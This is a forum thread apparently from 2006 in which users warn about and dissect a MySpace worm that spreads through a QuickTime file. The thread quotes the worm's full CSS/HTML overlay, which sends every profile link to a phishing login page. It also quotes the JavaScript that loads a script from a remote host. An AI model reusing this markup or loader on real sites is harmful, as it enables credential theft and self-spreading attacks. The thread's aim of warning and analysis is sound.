Urgent! New myspace exploit


Recommended Posts

anyone use myspace? just tonight on a bunch of profiles i see this quicktime .mov file appearing everywhere.

Well it automatically plays and as soon as i view my homepage it has appeared on mine. Anyways what it bassically does is change all the links on the myspace layouts to link to http://almobty.com/css/login.html which is obviously a spoofed myspace login page and MANY people will fall for this. this is obviously trying to steal passwords and isnt just a proof of concept like some past myspace exploits.

You can easily get rid of this by removing the code in your movies sections and removing the junk code in about me section which changes the links.

Im not coder but here is the code :(maybe someone could examine it?)

About Me:

<style type="text/css">
div table td font { display: none }
div div table tr td a.navbar, div div table tr td font { display: none }
.testnav { position:absolute; top: 136px; left:50%; _top: 146px }
</style><div style="z-index:5; background-color: #6698CB; margin-left:-400px; width: 800px" align="center" class="testnav"><div style=""><a href="http://almobty.com/css/login.html" target="" class="navbar">Home</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Browse</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Search</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Invite</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Film</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Mail</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Blog</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Favorites</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Forum</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Groups</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Events</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Videos</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Music</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Comedy</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Classifieds</a></div></div>

Movies

<div style="width: 1px; height: 1px; overflow: hidden; text-indent: -9999px"><embed allowScriptAccess="never" allowNetworking="internal" enableJSURL="false" src=http://almobty.com/css/piAF2iuswo.mov /></div>

The problem is as soon as you visit another profile with it, it comes back and its spreading like wildfire, so maybe remove and keep a low profile for the time being?

http://almobty.com appears to be a foreign website for contracting

Im running firefox 2 (so doesnt only effect IE)

Here is an example:

2005207505678579756_th.jpg

Edited by kaneso
  • Like 1
Link to comment
https://www.neowin.net/forum/topic/517166-urgent-new-myspace-exploit/
Share on other sites

Theres alot of this crap around lately to do with Myspace...thats why I have stayed away from them and been using Facebook...my mates myspace got accessed like that and he had all his friends deleted and messages sent to people saying obscene things...:(

Looking at the code, it is meant to redo the entire thing... basically redo your entire profile. But there is code in it that does nothing. I think someone modified a hack from the past, and it's gotten out of control.

That imageshack photo is kinda odd... eh?

it is a redirect exploit seemingly enough, the mov is used as means of spreading it adds the css code into your profile and uses it to phish you. That sall, and as far as the site it is being hosted on odds are it is a hacked server, what i would be worried about is if someone takes the spread code and uses it for something else. Thkn abotu it if they are able to get the code to edit yoru profile with a mov file just what else could be done with this

heh, all movies from myspace are down. myspace is crap anyway, why do people still use it ?

also, http://almobty.com DNS info:

Name Servers:

NS1.ALL-SOLUTION.NET

NS2.ALL-SOLUTION.NET

Technical Contact:

Almobty Co.

Al-Mobty Company for contracting ([email protected])

+966.4658695

Fax: +966.4659242

Olaya Street, POBox 7705 Riyadh 11472,

Tel. 966-1-4658695 & Fax. 4659242

RIYADH, 11472

SA

Damn, thats a good hacker :)

part source of QT file:

<java script:void((function(){var e=window.document.createElement('script');e.setAttribute('src','http://www.cake.fi/images/js.js');window.document.body.appendChild(e);})());> T<>?orig...

Edited by n_K

heh, all movies from myspace are down. myspace is crap anyway, why do people still use it ?

also, http://almobty.com DNS info:

Name Servers:

NS1.ALL-SOLUTION.NET

NS2.ALL-SOLUTION.NET

Technical Contact:

Almobty Co.

Al-Mobty Company for contracting ([email protected])

+966.4658695

Fax: +966.4659242

Olaya Street, POBox 7705 Riyadh 11472,

Tel. 966-1-4658695 & Fax. 4659242

RIYADH, 11472

SA

Damn, thats a good hacker :)

part source of QT file:

<java script:void((function(){var e=window.document.createElement('script');e.setAttribute('src','http://www.cake.fi/images/js.js');window.document.body.appendChild(e);})());> T<>?orig...

If you uses a text editor you can change the location of the script that it looks for and create your own custom script for your myspace page. I have download the js.js and looked at the code it just seem try to write over your formating and the it spams every 6 sec. to random id.

If you uses a text editor you can change the location of the script that it looks for and create your own custom script for your myspace page. I have download the js.js and looked at the code it just seem try to write over your formating and the it spams every 6 sec. to random id.

yeh, but it writes the javascript through the quicktime file so open the quicktime .mov in notepad, look at the binary followed by "apple text writer plugin"

I got this, Does the users PC become infected with anything?

When I view my profile and click home I get re directed to

http://www.../images/login.html

Which doesnt go anywhere obviously, Has this thing installed anything on my PC?

Edited by Sawyer12
  • 1 month later...

This has actually been around for a while. I took note of it back in October and thought nothing of it. I even warned people about this .mov exploit and nobody really listened. I guess I should have posted something here, eh? :laugh: . This has happened to me twice now, and yes, I know how to get rid of it. But I'm tired of the insecure status of Myspace, and therefore have deleted my account.

I'm glad someone made this public, as it should be addressed to both Myspace and the people who use it.

Everyone who has contributed to this thread thus far has explained the majority of this exploit. There are several sources of the .mov and I don't think this will be fixed for a while. I suggest that you leave Myspace as soon as possible, people. I'm actually glad this happened to me more than once; now I won't be wasting any MORE time. :laugh:. It's only going to get worse from here on, and we can't really do anything about it.

Ah well. I guess that's how it goes... :p

This topic is now closed to further replies.
  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Posts

    • It STILL has horrid theme support. Hard to look at for me. The white is too bright, and the black too dark. I'm using classic outlook for the Dark Grey theme. It's just right for me.
    • inb4 someone leaves the usual "what an unfortunate name" comment
    • Cuktech 10 Ultra charger review: big display, four ports, 110W total power by Taras Buria Cuktech recently announced a couple of Ultra-branded chargers, including a desktop 300W charger, which I reviewed a few weeks ago. For those who do need that much (or who do not want to spend that much on a charger), Cuktech also offers the 10 Ultra, a traditional wall charger with similar features. Four ports, a big display, and up to 110W of power output. After using it for a few weeks, here are my impressions. Disclaimer: Cuktech provided the review unit without any editorial input or pre-approval. Like the 30 Ultra, the 10 Ultra arrived in a box made of nice cardboard with quality print all over it. Inside, besides the charger, you will find a 240W 6A charger, which, this time, is fully braided. While Cuktech always bundles high-power cables with its chargers and power banks, they are usually regular and unassuming. This time, the cable is much nicer, matching the charger's $59.99 price tag. The charger itself measures 67 x 76 x 33 mm or 2.6 x 3.0 x 1.3 inches and weighs about 250 grams. Considering the charger has four ports and a big display, I would say the compact size is quite impressive, albeit a little hefty. The overall design is similar to other chargers from the manufacturer, minus the chrome Cuktech logo next to the four ports. The Cuktech 10 Ultra has retractable prongs for better portability. Its front side is covered with piano black plastic housing two elements: a capacitive button with backlight and a quite large display for various charging stats. Ports are downward-facing, and I have mixed feelings about such a design. It is not the most convenient when you frequently connect and disconnect cables. It makes you bend over to find the right port to connect, and it is a no-go with outlets mounted closer to the floor. On the bright side, design like this eliminates clutter and sagging, especially when using four cables at once. Plus, you get plenty of space for a big display. Ports include two high-speed USB Type-C ports, one Type-C for less demanding devices, and one classic USB Type-A. The first two ports deliver full 100W, while the third is capped at 45W. As for the Type-A port, its maximum output is 18W. In total, the charger delivers 110W of power, but in my testing, I managed to squeeze 117W when charging two power banks and a tablet. Quite impressive. Type-C1 Type-C2 Type-C3 Type-A Single-port 100W 100W 45W 18W Two ports 80W 20W - - Three ports 65W 20W 20W - Four ports 65W 20W 10W 10W The charger can detect handshake protocols and balance power across all four ports according to each device's needs. As such, power is not limited to the values in the table above. You can have two ports charging at 55W, three ports at 45W + 20W, and more. For some reason, Cuktech is not listing the supported protocols, but a quick test showed that it is compatible with PD3.0, PPS, QC5, DCP, and UFCS. When you connect a compatible device, the charger automatically detects its charging standard and displays it on the screen, for example, Apple 6A or Samsung 3A. Speaking of the screen. The main highlight of the 10 Ultra is its 1.57-inch display with a maximum brightness of 700 nits and 160-degree viewing angles. The display takes up most of the front, and it shows various charging-related information, including total output power, current temperature, power distribution across ports with watts, volts, and amps, a screensaver, and more. You can toggle between the different views by tapping the button, and holding it changes the screen orientation (portrait or horizontal, plus flipped) according to your socket position. The screen is very nice. It is sharp, vivid, and the fonts are easy to read. As for settings, you can change the following: Keep the screen on or off Lock the screen orientation (hold the button to change the screen orientation) Keep the USB Type-A port on Toggle power modes The charger has three power modes: AI: standard mode that automatically allocates power to each connected device. Power Priority: prioritizes power for high-demand devices, such as laptops or power banks. Balanced: splits power evenly across connected devices according to their needs I was skeptical at first, but after testing a few devices in different modes, I can see the benefit of these three modes. The most useful is power priority, which gives the first Type-C port more power. When I was charging a 100W power bank (port 1) alongside a 140W power bank (port 2), Power Priority split the total output about 75-30. Balanced mode, as the name suggests, splits the total output between the two ports more or less equally. As for AI mode, the charger uses its brain to detect which device needs more power. In my testing, it figured out that the 140W power needs a bit more juice. As I said, I expected this to be more of a gimmick, but the three built-in modes turned out quite useful. For example, you can prioritize your laptop while giving other ports a little less power, but still enough to charge at acceptable speeds. Unfortunately, unlike the 30 Ultra, this charger cannot display the battery level of the device being charged. This small feature turned out to be very useful when I was testing the 30 Ultra, as it allowed me to see my phone's battery level without picking it up. Like other Cuktech chargers I tested, the 10 Ultra one proved itself reliable and well-made. It uses Gallium nitride semiconductor technology to reduce the charger's size and improve efficiency. It is also better at dissipating heat, but I have to say that when charging two power banks at 117W total, the charger got hotter than what I would call comfortable (hold it for a few seconds, and you start feeling a burning sensation at your fingertips). However, the built-in thermal indicator remained below the temperature threshold, with the screen reassuring that the device operated at "High performance" (I tested it in a 21 °C / 69 °F room). Overall, the Cuktech 10 Ultra is a solid choice. If you need four ports and you like to nerd out on various stats, it is a very easy recommendation. It will take care of your laptop, phone, tablet, and power bank without breaking a sweat, plus the build, material, and cable quality are top-notch. The mode switcher is handy when charging different devices with different power needs, too. I cannot say a display is a must-have in a charger, especially when it makes you more conscious about where to plug it, but it is a neat addition if you have a socket at your table or bed level, so that you can actually use the display and its features. The more important fact is that despite its size and quality, the display does not make the charger that much more expensive than similarly powerful chargers from competitors. Plus, you can save 10% on the 10 Ultra with a promo code on Amazon. Buy Cuktech 10 Ultra charger - $53.99 on Amazon with a promo code As an Amazon Associate, we earn from qualifying purchases.
    • Last week I was investigating an issue with contacts and tried using the new Outlook. In the real (Classic) Outlook, you can easily go to any Outlook folder and present it in a Table View, then customize the columns to show/sort any field, which was exactly what I needed. But of course, the new Outlook doesn't have this feature at all. I gave up. Oh, and can we possibly stop claiming the new Outlook has PST support? What it really has is the ability to use the real Outlook in the background to pretend to have PST support. There is no PST support without the real Outlook installed.
    • Honestly just before Panos left it started to feel like MS just wasnt interested in them so they were being less innovative with them, and then when he DID leave for Amazon its kind of clear the direction is gone. It felt like Panos had both goals and drive, and a vision, but it felt like no matter what his title/department was the Surface devices never had the full interest of the rest of management and he was just pushing a bolder up a hill that MS was adding dirt to as he went.
  • Recent Achievements

    • Conversation Starter
      mobandz earned a badge
      Conversation Starter
    • Apprentice
      fernan99 went up a rank
      Apprentice
    • One Month Later
      nothanks earned a badge
      One Month Later
    • One Month Later
      B2Proxy earned a badge
      One Month Later
    • One Year In
      MadMung0 earned a badge
      One Year In
  • Popular Contributors

    1. 1
      +primortal
      477
    2. 2
      PsYcHoKiLLa
      247
    3. 3
      Skyfrog
      79
    4. 4
      FloatingFatMan
      76
    5. 5
      Michael Scrip
      60
  • Tell a friend

    Love Neowin? Tell a friend!